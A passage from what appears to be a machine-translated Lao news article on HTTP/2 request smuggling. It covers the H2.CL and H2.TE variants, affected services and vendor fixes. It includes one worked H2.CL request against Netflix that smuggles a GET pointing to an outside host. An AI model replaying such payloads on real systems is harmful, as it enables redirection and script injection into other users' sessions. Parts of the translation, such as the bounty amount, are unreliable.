เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบซเบกเปˆเปƒเบ™เบฅเบฐเบšเบปเบš front-end-backend เบ—เบตเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป

เบฅเบฐเบšเบปเบšเป€เบงเบฑเบšเบ—เบตเปˆ frontend เบเบญเบกเบฎเบฑเบšเบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบœเปˆเบฒเบ™ HTTP/2 เปเบฅเบฐเบชเบปเปˆเบ‡เป„เบ›เบซเบฒ backend เบœเปˆเบฒเบ™ HTTP/1.1 เป„เบ”เป‰เบ–เบทเบเป€เบ›เบตเบ”เป€เบœเบตเบเบเบฑเบšเบ•เบปเบงเปเบ›เปƒเบซเบกเปˆเบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบต HTTP Request Smuggling, เป€เบŠเบดเปˆเบ‡เบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰, เป‚เบ”เบเบเบฒเบ™เบชเบปเปˆเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบฅเบนเบเบ„เป‰เบฒเบญเบญเบเปเบšเบšเบžเบดเป€เบชเบ”, เป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เป€เบ™เบทเป‰เบญเปƒเบ™. เบ‚เบญเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบˆเบฒเบเบœเบนเป‰เปƒเบŠเป‰เบญเบทเปˆเบ™เป†เบ—เบตเปˆเบ›เบฐเบกเบงเบ™เบœเบปเบ™เปƒเบ™เบเบฐเปเบชเบ”เบฝเบงเบเบฑเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡ frontend เปเบฅเบฐ backend. เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบชเบฒเบกเบฒเบ”เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เป€เบžเบทเปˆเบญเปƒเบชเปˆเบฅเบฐเบซเบฑเบ” JavaScript เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เป€เบŠเบ”เบŠเบฑเบ™เบ—เบตเปˆเบกเบตเป€เบงเบฑเบšเป„เบŠเบ—เปŒเบ—เบตเปˆเบ–เบทเบเบ•เป‰เบญเบ‡, เบ‚เป‰เบฒเบกเบฅเบฐเบšเบปเบšเบเบฒเบ™เบ„เบงเบšเบ„เบธเบกเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡, เปเบฅเบฐเบ‚เบฑเบ”เบ‚เบงเบฒเบ‡เบ•เบปเบงเบเปเบฒเบ™เบปเบ”เบเบฒเบ™เบขเบทเบ™เบขเบฑเบ™.

เบšเบฑเบ™เบซเบฒเบกเบตเบœเบปเบ™เบ•เปเปˆเบœเบนเป‰เปƒเบŠเป‰เป€เบงเบฑเบš, เบ•เบปเบงเบ”เบธเปˆเบ™เบ”เปˆเบฝเบ‡เบเบฒเบ™เป‚เบซเบผเบ”, เบ•เบปเบงเป€เบฅเบฑเปˆเบ‡เป€เบงเบฑเบš, เบฅเบฐเบšเบปเบšเบเบฒเบ™เบˆเบฑเบ”เบชเบปเปˆเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ เปเบฅเบฐเบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒเบญเบทเปˆเบ™เป†เบ—เบตเปˆเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ–เบทเบเบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบ•เบฒเบกเป‚เบ„เบ‡เบเบฒเบ™เบ”เป‰เบฒเบ™เปœเป‰เบฒ-เบ—เป‰เบฒเบ-เบซเบผเบฑเบ‡. เบœเบนเป‰เบ‚เบฝเบ™เบ‚เบญเบ‡เบเบฒเบ™เบชเบถเบเบชเบฒเป„เบ”เป‰เบชเบฐเปเบ”เบ‡เปƒเบซเป‰เป€เบซเบฑเบ™เบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เปƒเบ™เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบฅเบฐเบšเบปเบšเปƒเบ™ Netflix, Verizon, Bitbucket, Netlify CDN เปเบฅเบฐ Atlassian, เปเบฅเบฐเป„เบ”เป‰เบฎเบฑเบš $ 56 เปƒเบ™เป‚เบ„เบ‡เบเบฒเบ™ bounty เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ. เบšเบฑเบ™เบซเบฒเบเบฑเบ‡เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบขเบทเบ™เบขเบฑเบ™เปƒเบ™เบœเบฐเบฅเบดเบ”เบ•เบฐเบžเบฑเบ™ F5 Networks. เบšเบฑเบ™เบซเบฒเบšเบฒเบ‡เบชเปˆเบงเบ™เบกเบตเบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆ mod_proxy เปƒเบ™ Apache http server (CVE-2021-33193), เบเบฒเบ™เปเบเป‰เป„เบ‚เปเบกเปˆเบ™เบ„เบฒเบ”เบงเปˆเบฒเบˆเบฐเบขเบนเปˆเปƒเบ™เบชเบฐเบšเบฑเบš 2.4.49 (เบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒเป„เบ”เป‰เบฎเบฑเบšเปเบˆเป‰เบ‡เบšเบฑเบ™เบซเบฒเปƒเบ™เบ•เบปเป‰เบ™เป€เบ”เบทเบญเบ™เบžเบถเบ”เบชเบฐเบžเบฒเปเบฅเบฐเป„เบ”เป‰เบฎเบฑเบš 3 เป€เบ”เบทเบญเบ™เป€เบžเบทเปˆเบญเปเบเป‰เป„เบ‚เบกเบฑเบ™). เปƒเบ™ nginx, เบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เปƒเบ™เบเบฒเบ™เบฅเบฐเบšเบธเบชเปˆเบงเบ™เบซเบปเบง "เบ„เบงเบฒเบกเบเบฒเบงเป€เบ™เบทเป‰เบญเบซเบฒ" เปเบฅเบฐ "เบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบเบฒเบ™เป‚เบญเบ™" เปƒเบ™เป€เบงเบฅเบฒเบ”เบฝเบงเบเบฑเบ™เป„เบ”เป‰เบ–เบทเบเบชเบฐเบเบฑเบ”เปƒเบ™เบเบฒเบ™เบ›เปˆเบญเบเบซเบผเป‰เบฒเบชเบธเบ” (1.21.1). เป€เบ„เบทเปˆเบญเบ‡เบกเบทเบเบฒเบ™เป‚เบˆเบกเบ•เบตเป„เบ”เป‰เบ–เบทเบเป€เบžเบตเปˆเบกเป€เบ‚เบปเป‰เบฒเปƒเบ™เบŠเบธเบ”เป€เบ„เบทเปˆเบญเบ‡เบกเบท Burp เปเบฅเบฐเบกเบตเบขเบนเปˆเปƒเบ™เบชเปˆเบงเบ™เบ‚เบฐเบซเบเบฒเบ Turbo Intruder.

เบซเบผเบฑเบเบเบฒเบ™เบ‚เบญเบ‡เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‡เบฒเบ™เบ‚เบญเบ‡เบงเบดเบ—เบตเบเบฒเบ™เปƒเบซเบกเปˆเบ‚เบญเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป wedging เป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบเบฒเบ™เบˆเบฐเบฅเบฒเบˆเบญเบ™เปเบกเปˆเบ™เบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™เบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ—เบตเปˆเป„เบ”เป‰เบฅเบฐเบšเบธเป„เบงเป‰เป‚เบ”เบเบ™เบฑเบเบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบ”เบฝเบงเบเบฑเบ™เป€เบกเบทเปˆเบญเบชเบญเบ‡เบ›เบตเบเปˆเบญเบ™, เปเบ•เปˆเบˆเปเบฒเบเบฑเบ”เบ•เปเปˆเบซเบ™เป‰เบฒเบ—เบตเปˆเบเบญเบกเบฎเบฑเบšเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบœเปˆเบฒเบ™ HTTP / 1.1. เบˆเบทเปˆเป„เบงเป‰เบงเปˆเบฒเปƒเบ™เป‚เบ„เบ‡เบเบฒเบ™ frontend-backend, เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ‚เบญเบ‡เบฅเบนเบเบ„เป‰เบฒเปเบกเปˆเบ™เป„เบ”เป‰เบฎเบฑเบšเป‚เบ”เบ node เป€เบžเบตเปˆเบกเป€เบ•เบตเบก - frontend, เป€เบŠเบดเปˆเบ‡เบชเป‰เบฒเบ‡เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆ TCP เบ—เบตเปˆเบกเบตเบŠเบตเบงเบดเบ”เบเบฒเบงเบเบฑเบš backend เบ—เบตเปˆเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เป‚เบ”เบเบเบปเบ‡เบเบฑเบšเบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป. เป‚เบ”เบเบœเปˆเบฒเบ™เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบ—เบปเปˆเบงเป„เบ›เบ™เบตเป‰, เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบˆเบฒเบเบœเบนเป‰เปƒเบŠเป‰เบ—เบตเปˆเปเบ•เบเบ•เปˆเบฒเบ‡เบเบฑเบ™เบกเบฑเบเบˆเบฐเบ–เบทเบเบชเบปเปˆเบ‡เบ•เปเปˆ, เป€เบŠเบดเปˆเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”เบ•เบฒเบกเบฅเบฐเบšเบปเบšเบ•เปˆเบญเบ‡เป‚เบชเป‰เบซเบ™เบถเปˆเบ‡เบซเบผเบฑเบ‡เบˆเบฒเบเบ—เบตเปˆเบญเบทเปˆเบ™, เปเบเบเบญเบญเบเป‚เบ”เบเบงเบดเบ—เบตเบเบฒเบ™ HTTP protocol.

เบเบฒเบ™เป‚เบˆเบกเบ•เบต "HTTP Request Smuggling" เบ„เบฅเบฒเบชเบชเบดเบเปเบกเปˆเบ™เบญเบตเบ‡เปƒเบชเปˆเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบงเปˆเบฒ frontends เปเบฅเบฐ backends เบ•เบตเบ„เบงเบฒเบกเปเบฒเบเบ‚เบญเบ‡เบเบฒเบ™เปƒเบŠเป‰ HTTP headers "Content-Length" (เบเปเบฒเบ™เบปเบ”เบ‚เบฐเบซเบ™เบฒเบ”เบ—เบฑเบ‡เบซเบกเบปเบ”เบ‚เบญเบ‡เบ‚เปเป‰เบกเบนเบ™เปƒเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป) เปเบฅเบฐ "Transfer-Encoding: chunked" ( เบญเบฐโ€‹เบ™เบธโ€‹เบเบฒเบ”โ€‹เปƒเบซเป‰โ€‹เบเบฒเบ™โ€‹เป‚เบญเบ™โ€‹เบ‚เปเป‰โ€‹เบกเบนเบ™โ€‹เปƒเบ™โ€‹เบžเบฒเบโ€‹เบชเปˆเบงเบ™โ€‹) เบ—เบตเปˆโ€‹เปเบ•เบโ€‹เบ•เปˆเบฒเบ‡โ€‹เบเบฑเบ™โ€‹. เบ•เบปเบงเบขเปˆเบฒเบ‡, เบ–เป‰เบฒ frontend เบฎเบญเบ‡เบฎเบฑเบšเบžเบฝเบ‡เปเบ•เปˆ "เบ„เบงเบฒเบกเบเบฒเบงเป€เบ™เบทเป‰เบญเบซเบฒ" เปเบ•เปˆเบšเปเปˆเบชเบปเบ™เปƒเบˆ "Transfer-Encoding: chunked", เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™เบœเบนเป‰เป‚เบˆเบกเบ•เบตเบชเบฒเบกเบฒเบ”เบชเบปเปˆเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ—เบตเปˆเบ—เบฑเบ‡เบชเบญเบ‡เบ›เบฐเบเบญเบšเบกเบต "เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ" เปเบฅเบฐ "เบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบเบฒเบ™เป‚เบญเบ™เบเป‰เบฒเบ: chunked", เปเบ•เปˆ. เบ‚เบฐเบซเบ™เบฒเบ”เปเบกเปˆเบ™ "เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ" เบšเปเปˆเบเบปเบ‡เบเบฑเบšเบ‚เบฐเบซเบ™เบฒเบ”เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบ•เปˆเบญเบ‡เป‚เบชเป‰ chunked. เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰, Frontend เบˆเบฐเบ›เบฐเบกเบงเบ™เบœเบปเบ™เปเบฅเบฐเบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ•เบฒเบก "เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ", เปเบฅเบฐ backend เบˆเบฐเบฅเปเบ–เป‰เบฒเปƒเบซเป‰ block เบชเปเบฒเป€เบฅเบฑเบ”เป‚เบ”เบเบญเบตเบ‡เปƒเบชเปˆ "Transfer-Encoding: chunked" เปเบฅเบฐเบซเบฒเบ‡เบ—เบตเปˆเบเบฑเบ‡เป€เบซเบผเบทเบญเบ‚เบญเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ‚เบญเบ‡เบœเบนเป‰เป‚เบˆเบกเบ•เบตเบˆเบฐเป€เบ›เบฑเบ™. เปƒเบ™เบ•เบญเบ™เบ•เบปเป‰เบ™เบ‚เบญเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ•เปˆเบฒเบ‡เบ›เบฐเป€เบ—เบ”เบชเบปเปˆเบ‡เบ•เปเปˆเป„เบ›.

เบšเปเปˆเป€เบซเบกเบทเบญเบ™เบเบฑเบšเป‚เบ›เบฃเป‚เบ•เบ„เปเบ‚เปเป‰เบ„เบงเบฒเบก HTTP/1.1, เป€เบŠเบดเปˆเบ‡เบ–เบทเบเบงเบดเป€เบ„เบฒเบฐเปƒเบ™เบฅเบฐเบ”เบฑเบšเปเบ–เบง, HTTP/2 เป€เบ›เบฑเบ™เป‚เบ›เบฃเป‚เบ•เบ„เปเบ„เบนเปˆ เปเบฅเบฐเบˆเบฑเบ”เบเบฒเบ™เบ‚เปเป‰เบกเบนเบ™เบ‚เบฐเปœเบฒเบ”เบ—เบตเปˆเบเบณเบ™เบปเบ”เป„เบงเป‰เบฅเปˆเบงเบ‡เปœเป‰เบฒ. เบขเปˆเบฒเบ‡เปƒเบ”เบเปเบ•เบฒเบก, HTTP/2 เปƒเบŠเป‰ pseudo-headers เบ—เบตเปˆเบชเบญเบ”เบ„เป‰เบญเบ‡เบเบฑเบšเบชเปˆเบงเบ™เบซเบปเบง HTTP เบ›เบปเบเบเบฐเบ•เบด. เป€เบกเบทเปˆเบญเป‚เบ•เป‰เบ•เบญเบšเบเบฑเบš backend เบœเปˆเบฒเบ™ HTTP/1.1, frontend เปเบ›เบชเปˆเบงเบ™เบซเบปเบง pseudo-headers เป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰เป€เบ›เบฑเบ™เบชเปˆเบงเบ™เบซเบปเบง HTTP/1.1 HTTP เบ—เบตเปˆเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™. เบšเบฑเบ™เบซเบฒเปเบกเปˆเบ™เบงเปˆเบฒ backend เป€เบฎเบฑเบ”เบเบฒเบ™เบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบเปˆเบฝเบงเบเบฑเบšเบเบฒเบ™เปเบเบเบชเบฒเบเบ™เป‰เปเบฒเป‚เบ”เบเบญเบตเบ‡เปƒเบชเปˆเบซเบปเบงเบ‚เปเป‰ HTTP เบ—เบตเปˆเบเปเบฒเบ™เบปเบ”เป„เบงเป‰เป‚เบ”เบ frontend, เป‚เบ”เบเบšเปเปˆเบฎเบนเป‰เบ•เบปเบงเบเปเบฒเบ™เบปเบ”เบเบฒเบ™เบ‚เบญเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบš.

เบฅเบงเบกเบ—เบฑเบ‡เปƒเบ™เบฎเบนเบšเปเบšเบšเบ‚เบญเบ‡ pseudo-headers, เบกเบนเบ™เบ„เปˆเบฒ "เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ" เปเบฅเบฐ "เบเบฒเบ™เป‚เบญเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”" เบชเบฒเบกเบฒเบ”เบ–เบทเบเบชเบปเปˆเบ‡เบ•เปเปˆ, เป€เบ–เบดเบ‡เบงเปˆเบฒเบˆเบฐเบกเบตเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบงเปˆเบฒเบžเบงเบเบกเบฑเบ™เบšเปเปˆเบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เปƒเบ™ HTTP / 2, เบ™เบฑเบšเบ•เบฑเป‰เบ‡เปเบ•เปˆเบ‚เบฐเบซเบ™เบฒเบ”เบ‚เบญเบ‡เบ‚เปเป‰เบกเบนเบ™เบ—เบฑเบ‡เบซเบกเบปเบ”เบ–เบทเบเบเปเบฒเบ™เบปเบ”เบขเบนเปˆเปƒเบ™ เบžเบฒเบเบชเบฐเบซเบ™เบฒเบกเปเบเบเบ•เปˆเบฒเบ‡เบซเบฒเบ. เบขเปˆเบฒเบ‡เปƒเบ”เบเปเบ•เบฒเบก, เปƒเบ™เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบ›เปˆเบฝเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป HTTP / 2 เป€เบ›เบฑเบ™ HTTP / 1.1, เบซเบปเบงเป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เปเบฅเบฐเบชเบฒเบกเบฒเบ”เบชเบฑเบšเบชเบปเบ™เบเบฑเบš backend. เบกเบตเบชเบญเบ‡เบ—เบฒเบ‡เป€เบฅเบทเบญเบเบเบฒเบ™เป‚เบˆเบกเบ•เบตเบ•เบปเป‰เบ™เบ•เป: H2.TE เปเบฅเบฐ H2.CL, เปƒเบ™เบ—เบตเปˆ backend เป„เบ”เป‰เบ–เบทเบเบซเบผเบญเบเบฅเบงเบ‡เป‚เบ”เบเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบเบฒเบ™เป‚เบญเบ™เบ—เบตเปˆเบšเปเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เบซเบผเบทเบกเบนเบ™เบ„เปˆเบฒเบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒเบ—เบตเปˆเบšเปเปˆเบเบปเบ‡เบเบฑเบ™เบเบฑเบšเบ‚เบฐเบซเบ™เบฒเบ”เบ•เบปเบงเบˆเบดเบ‡เบ‚เบญเบ‡เบ•เบปเบงเบฎเป‰เบญเบ‡เบ‚เปเบ—เบตเปˆเป„เบ”เป‰เบฎเบฑเบšเป‚เบ”เบ frontend เบœเปˆเบฒเบ™. เป‚เบ›เบฃเป‚เบ•เบ„เป HTTP/2.

เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบซเบกเปˆเปƒเบ™เบฅเบฐเบšเบปเบš front-end-backend เบ—เบตเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป

เป€เบ›เบฑเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบต H2.CL, เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เบซเบปเบงเบ‚เปเป‰ pseudo-header เบšเปเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เป€เบกเบทเปˆเบญเบชเบปเปˆเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป HTTP/2 เป„เบ› Netflix. เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ™เบตเป‰เป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบตเบเบฒเบ™เป€เบžเบตเปˆเบกเบชเปˆเบงเบ™เบซเบปเบง HTTP เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒเบ—เบตเปˆเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™เป€เบกเบทเปˆเบญเป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡ backend เบœเปˆเบฒเบ™ HTTP / 1.1, เปเบ•เปˆเป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบ‚เบฐเบซเบ™เบฒเบ”เบ‚เบญเบ‡เบ„เบงเบฒเบกเบเบฒเบงเป€เบ™เบทเป‰เบญเบซเบฒเปเบกเปˆเบ™เบซเบ™เป‰เบญเบเบเบงเปˆเบฒเบ‚เบฐเบซเบ™เบฒเบ”เบ•เบปเบงเบˆเบดเบ‡, เบšเบฒเบ‡เบ‚เปเป‰เบกเบนเบ™เปƒเบ™เบซเบฒเบ‡เป„เบ”เป‰เบ–เบทเบเบ›เบธเบ‡เปเบ•เปˆเบ‡เป€เบ›เบฑเบ™. เบเบฒเบ™เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เบ‚เบญเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ•เปเปˆเป„เบ›.

เบ•เบปเบงเบขเปˆเบฒเบ‡, เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

เบˆเบฐเบชเบปเปˆเบ‡เบ„เบณเบฎเป‰เบญเบ‡เบ‚เปเป„เบ›เบ—เบตเปˆ backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒเบ–เบทเบเบ•เบฑเป‰เบ‡เป€เบ›เบฑเบ™ 4, backend เบˆเบฐเบเบญเบกเบฎเบฑเบšเบžเบฝเบ‡เปเบ•เปˆ "abcd" เป€เบ›เบฑเบ™เบชเปˆเบงเบ™เบ—เบตเปˆเบฎเป‰เบญเบ‡เบ‚เป, เปเบฅเบฐเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบชเปˆเบงเบ™เบ—เบตเปˆเป€เบซเบผเบทเบญเบ‚เบญเบ‡ "GET /n HTTP / 1.1โ€ฆ" เป€เบ›เบฑเบ™เบเบฒเบ™เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เบ‚เบญเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ•เปเปˆเป„เบ›เบ—เบตเปˆเบœเบนเบเบกเบฑเบ”เบเบฑเบšเบœเบนเป‰เปƒเบŠเป‰เบญเบทเปˆเบ™. เบ•เบฒเบกเบ™เบฑเป‰เบ™เปเบฅเป‰เบง, เบเบฐเปเบชเบˆเบฐเบญเบญเบเบˆเบฒเบเบเบฒเบ™เบŠเบดเบ‡, เปเบฅเบฐเป€เบžเบทเปˆเบญเบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ•เปเปˆเป„เบ›, เบœเบปเบ™เป„เบ”เป‰เบฎเบฑเบšเบ‚เบญเบ‡เบเบฒเบ™เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ›เบญเบกเบˆเบฐเบ–เบทเบเบชเบปเปˆเบ‡เบ„เบทเบ™. เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ‚เบญเบ‡ Netflix, เบเบฒเบ™เบฅเบฐเบšเบธเป€เบˆเบปเป‰เบฒเบžเบฒเบšเบ‚เบญเบ‡เบžเบฒเบเบชเปˆเบงเบ™เบ—เบตเบชเบฒเบกเปƒเบ™เบซเบปเบงเบ‚เปเป‰ "Host:" เปƒเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป spoofed เป€เบฎเบฑเบ”เปƒเบซเป‰เป€เบเบตเบ”เบเบฒเบ™เบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡ "เบชเบฐเบ–เบฒเบ™เบ—เบตเปˆ: https://02.rs?x.netflix.com/n" เบเบฑเบšเบฅเบนเบเบ„เป‰เบฒเปเบฅเบฐ เบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบชเบปเปˆเบ‡เป€เบ™เบทเป‰เบญเบซเบฒเป‚เบ”เบเบ•เบปเบ™เป€เบญเบ‡เป„เบ›เบซเบฒเบฅเบนเบเบ„เป‰เบฒ, เบฅเบงเบกเบ—เบฑเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ” JavaScript เบ‚เบญเบ‡เบ—เปˆเบฒเบ™เปƒเบ™เบšเปเบฅเบดเบšเบปเบ”เบ‚เบญเบ‡เป€เบงเบฑเบšเป„เบŠเบ—เปŒ Netflix.

เบ•เบปเบงเปเบ›เบ—เบตเบชเบญเบ‡เบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบต (H2.TE) เปเบกเปˆเบ™เบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เบ—เบปเบ”เปเบ—เบ™เบ‚เบญเบ‡ "Transfer-Encoding: chunked" header. เบเบฒเบ™โ€‹เบ™เปเบฒโ€‹เปƒเบŠเป‰โ€‹เบ‚เบญเบ‡โ€‹เบเบฒเบ™โ€‹เป‚เบญเบ™โ€‹เบเบฒเบ™โ€‹เป€เบ‚เบปเป‰เบฒโ€‹เบฅเบฐโ€‹เบซเบฑเบ” pseudo header เปƒเบ™ HTTP / 2 เปเบกเปˆเบ™โ€‹เบซเป‰เบฒเบกโ€‹เป‚เบ”เบโ€‹เบชเบฐโ€‹เป€เบžเบฒเบฐโ€‹เปเบฅเบฐโ€‹เบ„เปเบฒโ€‹เบฎเป‰เบญเบ‡โ€‹เบชเบฐโ€‹เบซเบกเบฑเบโ€‹เบ—เบตเปˆโ€‹เบกเบตโ€‹เบกเบฑเบ™โ€‹เป„เบ”เป‰โ€‹เบเปเบฒโ€‹เบ™เบปเบ”โ€‹เปƒเบซเป‰โ€‹เป„เบ”เป‰โ€‹เบฎเบฑเบšโ€‹เบเบฒเบ™โ€‹เบ–เบทโ€‹เบงเปˆเบฒโ€‹เบšเปเปˆโ€‹เบ–เบทเบโ€‹เบ•เป‰เบญเบ‡โ€‹. เป€เบ–เบดเบ‡เบงเปˆเบฒเบˆเบฐเบกเบตเบชเบดเปˆเบ‡เบ™เบตเป‰, เบšเบฒเบ‡เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ”เป‰เบฒเบ™เบซเบ™เป‰เบฒเบšเปเปˆเบชเบปเบ™เปƒเบˆเบเบฑเบšเบ„เบงเบฒเบกเบ•เป‰เบญเบ‡เบเบฒเบ™เบ™เบตเป‰เปเบฅเบฐเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ™เปเบฒเปƒเบŠเป‰เบเบฒเบ™เป‚เบญเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ” pseudo-header เปƒเบ™ HTTP/2, เป€เบŠเบดเปˆเบ‡เปเบ›เป€เบ›เบฑเบ™เบชเปˆเบงเบ™เบซเบปเบง HTTP เบ—เบตเปˆเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™. เบ–เป‰เบฒเบกเบตเบชเปˆเบงเบ™เบซเบปเบง โ€œTransfer-Encodingโ€, backend เบชเบฒเบกเบฒเบ”เป€เบญเบปเบฒเบกเบฑเบ™เป€เบ›เบฑเบ™เบšเบนเบฅเบดเบกเบฐเบชเบดเบ” เปเบฅเบฐ parse เบ‚เปเป‰เบกเบนเบ™เปƒเบ™เบชเปˆเบงเบ™เบ•เปˆเบฒเบ‡เป†เปƒเบ™เป‚เบซเบกเบ” โ€œchunkedโ€ เป‚เบ”เบเปƒเบŠเป‰ blocks เบ‚เบญเบ‡เบ‚เบฐเบซเบ™เบฒเบ”เบ•เปˆเบฒเบ‡เป†เปƒเบ™เบฎเบนเบšเปเบšเบš 